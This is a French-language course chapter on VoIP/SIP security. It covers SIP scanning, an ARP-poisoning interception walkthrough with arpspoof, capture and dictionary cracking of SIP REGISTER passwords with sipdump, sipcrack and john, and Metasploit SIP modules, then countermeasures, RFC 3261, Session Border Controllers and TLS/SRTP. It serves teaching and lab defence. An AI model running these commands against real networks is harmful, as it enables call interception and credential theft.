Skip to content

SIP et la sécurité

Ce chapitre attire l'attention du lecteur sur les menaces qui pèsent sur les technologies VoIP/SIP. Il est nécessaire pour les attaques locales de disposer d'un lab de téléphones et de services de téléphonie. Il est fortement recommandé d'isoler entièrement ses essais et de ne cibler que des resources prévues à cet effet. Enfin, on terminera le propos avec des propositions pour la mise en oeuvre de la sécurité des ces communications et avec le rôle d'un périphérique que l'on appelle "Session Border Controller" (SBC).

1. Menaces

Rapport Shodan

Typologie des attaques et des menaces

  • Information Gathering, Footprinting and Enumeration
  • Monitoring Traffic and eavesdropping Phone calls
  • Attacking Authentication
  • VLAN Hopping.
  • Denial of Service / Flooding.
  • Spoofing Caller ID
  • Toll fraud

2. Scans SIP

root@kali:~# svmap 172.16.98.0/24
| SIP Device         | User Agent           | Fingerprint |
-----------------------------------------------------------
| 172.16.98.224:5060 | Asterisk PBX 13.12.2 | disabled    |
nmap --script=sip-methods -sU -p 5060 <targets>

3. Attaque ARP Poison Routing (APR)

Cette attaque permet de s'immiscer dans les communications non protégées au sein d'un réseau local (LAN).

Capture de paquets

Nous avons vu que la capture de paquet ne fournissait des résultats uniquement que pour le trafic livré à l'interface ethernet soit en unicast à destination de la machine elle-même, en broadcast et en multicast transférés d'emblée par les commutateurs.

Dans un environnement LAN commuté, le commutateur transfère directement le trafic en fonction de l'adresse MAC de destination encodée dans les trames Ethernet. Ce sont les hôtes d'origine et de destination qui encodent ces adresses sur base d'un processus ARP.

Capturer des paquets dans un environnement LAN commuté

Si l'on désire capturer tous les paquets du réseau, on placera un port d'un commutateur Cisco en mode "span" soit en mode mirroir. Si la pratique est acceptable dans le cadre de la surveillance quotidienne du réseau, elle est moins crédible dans le cadre d'audit d'intrusion.

Il pourrait sembler plus simple d'attaquer le commutateur. L'outil macof de la suite dsniff vise à saturer la table CAM du commutateur avec des entrées factices. L'effet escompté est que le commutateur tansfère le trafic par tous ses ports à la manière d'un concentrateur Ethernet (Hub). Toutefois, les commutateurs d'entreprise pourraient supporter cette charge. L'auteur obtiendrait tout au plus un déni de service (DOS) peu discret.

Transfert de trafic dans une attaque APR

Dans un cadre autorisé, on peut s'intéresser à une faiblesse intrinsèque des protocoles TCP/IP sur les réseaux locaux. Elle concerne aussi bien ARP pour IPv4 et Neighbor Discovery pour IPv6. Ici, on s'intéressera uniquement à l'attaque dite APR.

La faiblesse tient au fait que les hôtes TCP/IP ne filtrent pas le trafic ARP. De la même manière aucune authentification de ce trafic n'est aujourd'hui implémentée dans nos réseaux. Les victimes vont accepter du trafic ARP gratuitous gratuitement adressé par le pirate en unicast avec des champs ARP usurpés.

Une attaque APR (ARP Poison Routing) est une attaque d'interception (MiTM) qui consiste pour le pirate à empoisonner le cache ARP des victimes avec sa propre adresse MAC. On peut aussi classer l'attaque comme attaque d'usurpation (spoofing). A condition que le pirate prenne en charge le routage des trames entre les destinations légitimes, la communication ne sera pas interrompue. Le pirate pourra alors observer le trafic entre les victimes de manière transparente. Il est évident que le pirate peut devenir un goulot d'étranglement en fonction du nombre de victimes qu'il usurpe.

L'attaque consiste à empoisonner le cache des victimes avec son adresse MAC en correspondance des adresses IPv4 à usurper et à activer le routage IPv4.

De manière crédule, les victimes vont livrer le trafic au pirate.

Une attaque APR est souvent le préalable d'attaques d'interception (MiTM). Elle intervient sur un LAN sur lequel le pirate dispose d'un accès physique tels qu'un réseau Ethernet ou un réseau Wi-Fi ouvert. Si le réseau sans-fil est sécurisé, il sera nécessaire de le casser pour réaliser cette dernière attaque.

Détail de l'attaque

Une analyse préalable comme un scan ARP permet d'identifier les stations (une personnalité de l'organisation, un admin) ou les serveurs victimes (téléphonie, courriel, partages, ...). La passerelle du réseau local est aussi un cible de choix. L'attaque peut trouver son utilité sur des réseaux ouverts comme des hotspots wi-fi.

Par exemple sous Linux avec arpspoof, les victimes sont respectivement 192.168.1.100 et 192.168.1.254 :

On installe la suite logicielle dnsiff et on active le routage IPv4

# apt-get install dsniff
# echo 1 > /proc/sys/net/ipv4/ip_forward

On empoisonne la table ARP de 192.168.1.100 avec une annonce indiquant l'adresse IPv4 de l'autre victime 192.168.1.254 en relation avec l'adresse MAC de l'interface eth0 du pirate.

#  arpspoof -i eth0 -t 192.168.1.100 192.168.1.254

Ensuite dans un autre terminal, on empoisonne la table ARP de 192.168.1.254 avec une annonce indiquant l'adresse IPv4 de l'autre victime 192.168.1.100 en relation avec l'adresse MAC de l'interface eth0 du pirate.

#  arpspoof -i eth0 -t 192.168.1.254 192.168.1.100

Outils d'attaque ARP

On peut réaliser cette attaque sous Linux avec :

  • Dsniff (arpspoof)
  • Cain sous Windows
  • Ethercap
  • Packeth
  • Scapy
  • Yersinia
  • ...

Contre-mesures

  • Inspection de couche 2
  • DAI (Deep ARP Inspection)
  • DHCP snooping
  • Surveillance
  • IDS/IPS
  • arpwatch, arpalert, ndpmon, ntop-ng
  • Tuning
  • Désactiver les "ARP gratuitous"
  • Des enregistrements statiques ?
  • Design réseau
  • Architecture VLAN
  • IEEE 802.1X/Radius/EAP/802.11i
  • HTTPS, SSH, SIPS, ZRTP
  • Infrastructure à clé publique (PKI)

4. sipdump/sipcrack john

Dump d'un REGISTER (sans attaque MiTM)

root@kali:~# sipdump -i eth0  test

SIPdump 0.2  ( MaJoMu | www.codito.de )
---------------------------------------

* Using dev 'eth0' for sniffing
* Starting to sniff with packet filter 'tcp or udp'

* Dumped login from 172.16.98.224 -> 172.16.98.1 (User: 'telephone1')
* Dumped login from 172.16.98.224 -> 172.16.98.1 (User: 'telephone1')
* Dumped login from 172.16.98.224 -> 172.16.98.1 (User: 'telephone1')

Cassage du mot de passe REGISTER avec un dictionnaire pof.

root@kali:~# echo "1111" > password.lst
root@kali:~# sipcrack -w password.lst test

SIPcrack 0.2  ( MaJoMu | www.codito.de )
----------------------------------------

* Found Accounts:

Num Server      Client      User    Hash|Password

1   172.16.98.1 172.16.98.224   telephone1  aef0698218c9e25f957a6bb7262ff2b4
2   172.16.98.1 172.16.98.224   telephone1  bdebe7e2e51fa2a4a0262ee22c8946c2
3   172.16.98.1 172.16.98.224   telephone1  fd346613dc423e540a1193df1ff02901

* Select which entry to crack (1 - 3): 1

* Generating static MD5 hash... 656b1403125e0d95d6b2c906e49e3d83
* Loaded wordlist: 'password.lst'
* Starting bruteforce against user 'telephone1' (MD5: 'aef0698218c9e25f957a6bb7262ff2b4')
* Tried 1 passwords in 0 seconds

* Found password: '1111'
* Updating dump file 'test'... done

Cassage du mot de passe REGISTER avec un dictionnaire standard

# sipcrack -w /usr/share/john/password.lst test

SIPcrack 0.2  ( MaJoMu | www.codito.de )
----------------------------------------

* Found Accounts:

Num Server      Client      User    Hash|Password

1   172.16.98.1 172.16.98.224   telephone1  1111
2   172.16.98.1 172.16.98.224   telephone1  bdebe7e2e51fa2a4a0262ee22c8946c2
3   172.16.98.1 172.16.98.224   telephone1  fd346613dc423e540a1193df1ff02901

* Select which entry to crack (1 - 3): 2

* Generating static MD5 hash... 656b1403125e0d95d6b2c906e49e3d83
* Loaded wordlist: '/usr/share/john/password.lst'
* Starting bruteforce against user 'telephone1' (MD5: 'bdebe7e2e51fa2a4a0262ee22c8946c2')
* Tried 754 passwords in 0 seconds

* Found password: '1111'
* Updating dump file 'test'... done

Crack de l'emprunte avec john

SIP Password Security - How much is yours worth?

mkdir ~/temp
cd tmp
mkfifo myfifofile
john --incremental=Digits --stdout=8 > myfifofile
sipcrack -w ~/tmp/myfifofile result

5. Metasploit

# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


Love leveraging credentials? Check out bruteforcing
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.12.22-dev                         ]
+ -- --=[ 1577 exploits - 906 auxiliary - 272 post        ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

Recherche d'attaques avec l'occurrence "voip".

msf > search voip

Matching Modules
================

   Name                                     Disclosure Date  Rank    Description
   ----                                     ---------------  ----    -----------
   auxiliary/voip/asterisk_login                             normal  Asterisk Manager Login Utility
   auxiliary/voip/cisco_cucdm_call_forward                   normal  Viproy CUCDM IP Phone XML Services - Call Forwarding Tool
   auxiliary/voip/cisco_cucdm_speed_dials                    normal  Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool
   auxiliary/voip/sip_deregister                             normal  SIP Deregister Extension
   auxiliary/voip/sip_invite_spoof                           normal  SIP Invite Spoof
   auxiliary/voip/telisca_ips_lock_control  2015-12-17       normal  Telisca IPS Lock Cisco IP Phone Control
   post/multi/escalate/allwinner_backdoor   2016-04-30       normal  Allwinner 3.4 Legacy Kernel Local Privilege Escalation

Recherche d'attaques avec le mot clé "sip"

msf > search sip
Matching Modules
================

   Name                                           Disclosure Date  Rank       Description
   ----                                           ---------------  ----       -----------
   auxiliary/scanner/sip/enumerator                                normal     SIP Username Enumerator (UDP)
   auxiliary/scanner/sip/enumerator_tcp                            normal     SIP Username Enumerator (TCP)
   auxiliary/scanner/sip/options                                   normal     SIP Endpoint Scanner (UDP)
   auxiliary/scanner/sip/options_tcp                               normal     SIP Endpoint Scanner (TCP)
   auxiliary/scanner/sip/sipdroid_ext_enum                         normal     SIPDroid Extension Grabber
   auxiliary/server/capture/sip                                    normal     Authentication Capture: SIP
   auxiliary/voip/sip_deregister                                   normal     SIP Deregister Extension
   auxiliary/voip/sip_invite_spoof                                 normal     SIP Invite Spoof
   exploit/windows/browser/aol_icq_downloadagent  2006-11-06       excellent  America Online ICQ ActiveX Control Arbitrary File Download and Execute
   exploit/windows/local/agnitum_outpost_acs      2013-08-02       excellent  Agnitum Outpost Internet Security Local Privilege Escalation
   exploit/windows/sip/aim_triton_cseq            2006-07-10       great      AIM Triton 1.0.4 CSeq Buffer Overflow
   exploit/windows/sip/sipxezphone_cseq           2006-07-10       great      SIPfoundry sipXezPhone 0.35a CSeq Field Overflow
   exploit/windows/sip/sipxphone_cseq             2006-07-10       great      SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow

Exemple d'attaque.

D'abord activer le module "auxiliary/scanner/sip/options"

msf > use auxiliary/scanner/sip/options

Ensuite, vérifier les paramètres.

msf auxiliary(options) > show options

Module options (auxiliary/scanner/sip/options):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in each set
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      5060             yes       The target port
   THREADS    10               yes       The number of concurrent threads
   TO         nobody           no        The destination username to probe at each hos

Ensuite fixer la variable RHOSTS.

msf auxiliary(options) > set RHOSTS 172.16.98.0/24
RHOSTS => 172.16.98.0/24

Enfin lancer l'attaque.

msf auxiliary(options) > run

[*] Sending SIP UDP OPTIONS requests to 172.16.98.0->172.16.98.255 (256 hosts)
[*] 172.16.98.224:5060 udp SIP/2.0 401 Unauthorized: {"Server"=>"Asterisk PBX 13.12.2"}
[*] 172.16.98.224:5060 udp SIP/2.0 401 Unauthorized: {"Server"=>"Asterisk PBX 13.12.2"}
[*] 172.16.98.224:5060 udp SIP/2.0 401 Unauthorized: {"Server"=>"Asterisk PBX 13.12.2"}
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

6. Autres outiles et Frameworks

Frameworks

Denial Of Service

Des plus bêtes et des plus violentes attaques qui ne se tarissent pas.

  • Inviteflood
  • Rtpflood
  • Iaxflood
  • Teardown

7. Manipulation de trafic VoiP (forges, générateurs)

On citera ici quelques outils de référence open-source parmi certainement beaucoup d'autres.

Outils de forge génériques

Outils de forge dédiés SIP

  • Sipp : SIPp is a free Open Source test tool / traffic generator for the SIP protocol.
  • SIPPing : SIPPing is a simple SIP packet forging tool written in pure Python.

En dédicace à http://www.backtrack-linux.org/wiki/index.php/Pentesting_VOIP.

8. Protection d'un infrastructure SIP

Les éléments fondamentaux de sécurité peuvent être identifiés par l'acronyme CIA : Confidentialy Integrity Authentication. On peut y ajouter d'autres éléments tels que la non-répudiation, le non-rejeu, etc. mais ces trois éléments, confidentialité, intégrité et authentification sont un bon points de départ.

Aussi, il est important d'identifier les zones (leur localisation) soumises aux menaces : l'exposition privée (interne/intra/inter) et publique (des serveurs SIP exposés publiquement).

Certaines menaces demandent des réponses appropriées mais elles sont toujours à évaluer sur base d'une étude de risque.

Enfin, nul n'est bien ou mal intentionné : plus simplement, il n'y aucune raison d'offrir à d'éventuels intrus une occasion d'accéder ou d'endommager les données ou les services que nous gérons.

Si on suit ce point de vue, certes sommaire mais simple, quelques mesures de sécurité par conception (security by design) semblent assez évidentes :

  • gestion parcimonieuse des mises-à-jour logicielles (tous périphériques confondus), maintenance, support, ...
  • séparation stricte des flux (gestion, voip, data et autres)
  • imposer des politiques de mots de passe forts (longueur, variabilité, imposé, régularité de modification), voire utiliser des authentification à clés asymétriques
  • passer à une infrastructure PKI (Public Key Infrastructure) permettant un déploiement robuste de TLS (pour SIP)
  • tout chiffrer nativement (TLS, SIPS, SRTP, ZRTP, IAX) ou à travers des tunnels IPSEC
  • se soucier du filtrage et du comportement sur les interfaces avec des pare-feux (de tout type, voir plus bas) et/ou des systèmes de détection d'intrusion (tel que Snort par exemple)

Propositions du RFC 3261

Le RFC 3261, section 26, énonce une série d'attaques classiques et de contre-mesures dans un cadre où les communications et services SIP sont exposées publiquement sur Internet :

Menaces :

  • Capture d’enregistrement
  • Usurpation du nom d’un serveur
  • Altération des corps de message
  • Suppression de sessions
  • Déni de service et amplification

Contre-mesures :

  • Sécurité des couches Transport (TLS) et Réseau (IPSEC)
  • Schéma d’URI SIPS
  • Authentification HTTP
  • Chiffrement S/MIME

Solutions en bordure

Si on ne peut faire autrement que d'exposer SIP sur des adresses publiques, diverses mesures sont à envisager en bordure de l'architecture :

Solutions internes

  • Séparation des flux gestion, data, voip, etc. (VLANs)
  • Chiffrement et authentification

9. Session Border Controller (SBC)

"Session Border Controllers (SBCs)" est un terme qui identifie une catégorie de marché et qui n'est renseigné dans aucun standard (RFC 7092, 4.3. Session Border Controllers)

Cependant, le RFC 5853 (2010) de catégorie "Informational", intitulé "Requirements from Session Initiation Protocol (SIP) Session Border Control (SBC) Deployments", offre des informations sur la nature du périphérique appelé comme tel.

Le but du document est de décrire les fonctions implémentées dans les SBCs. Les auteurs ont accordé une attention particulière aux pratiques qui entrent en conflit d'une manière ou d'une autre avec les principes d'architecture du protocole SIP. Le document explore également les raisons sous-jacentes qui ont conduit les opérateurs du réseau à l'utilisation de ces différentes fonctions et leur mise en oeuvre.

Le terme "Session Border Controller" (SBC) est un terme relativement indéterminé dans le sens où il n'est ni standardisé ni vraiment défini à aucun endroit.

Les SBCs se situent habituellement entre deux réseaux de fournisseurs de services dans un environnement de "peering" ou entre un réseau d'accès et un réseau de backbone. On est donc très éloigné des moyens et des besoins de petites et moyennes entreprises.

Ils fournissent une variété de fonctions pour activer ou améliorer les services multimédias basés sur des sessions (par exemple, la voix sur IP). Ces fonctions comprennent:

  • la défense de périmètre (contrôle d'accès, dissimulation de topologie, prévention et déni de service);
  • fonctionnalité non disponible sur les points d'extrémité (NAT Traversal, inter-opérabilité ou réparation de protocole);
  • la gestion du trafic (surveillance des médias et qualité de service (QoS)).

Le document "Market Guide for Enterprise SBC" de Gartner du 29 décembre 2017 sera certainement une aide utile pour évaluer les solutions et les tendances actuelles du marché. En terme de parts de marché, en 2015, Cisco et Audiocodes augmentaient leur parts contre Sonus et Oracle (Infonetics’ quarterly enterprise SBC report, March 2015). Il reste seulement 40 % de parts de marché aux autres acteurs.

L'étude de marché de Gartner sur les SBCs donne de informations sur les offres commerciales. En général, le nombre de connexions simultanées à gérer par le périphérique donnera une fourchette de prix quant à la solution envisagée. Par ailleurs, on notera que Gartner définit précisément l'offre E-SBC avec d'autant plus d'inspiration que le RFC 5853.

Le document Avaya SBCE 7.0 Security Configuration and Best Practices Guide, le catalogue SIP eSBCs de Patton, ou encore SBC R7.0 - Introduction de AudioCodes peuvent donner une idée des recommandations des acteurs du marché.

10. Signalisation et transport sécurisés

D'autres sources d'informations plus encyclopédiques ou plus opérationnelles s'évertuent à expliquer les architectures PKI, leurs mécanismes, leurs implications, leurs protocoles et leur déploiement.

Plusieurs éléments sont toutefois à prendre en compte :

  • La validité des certificats
  • La gestion des certificats
  • Le périmètre de déploiement
  • La capacité et la configuration des postes terminaux

On peut se référer à quelques guides de déploiement mais on est encore très loin des contraintes pratiques que l'on rencontrera dans la réalité. Il est bien sûr toujours plus facile de partir d'une page blanche ou d'une situation nouvelle technique et culturelle alors que cette réalité nous confronte souvent à des situations hétérogènes difficiles à intégrer. Mais l'heure n'est certainement pas au renoncement au contraire car ces technologies commencent à se démocratiser.

Deux protocoles sécurisé ont la faveur du marché :

  • SIP sur TLS (SIPS) pour la signalisation.
  • SRTP pour le transport (RFC 3711).

Sécurité Astersik

Le wiki d'Asterisk Secure Calling Tutorial donne une bonne idée des opérations sur un client et un serveur pour déployer TLS en chan_pjsip et chan_sip ainsi qu'en SRTP.

On notera les capacités intéressantes du protocoles IAX de transporter le media et la signalisation nativement dans des tunnels sécurisés en AES. Cette solution open-source traverse particulièrement bien les pare-feux en bordure d'un Internet entre des serveurs protégés.

Sécurité Kamailio

Sécurité FreeSWITCH

Commentaires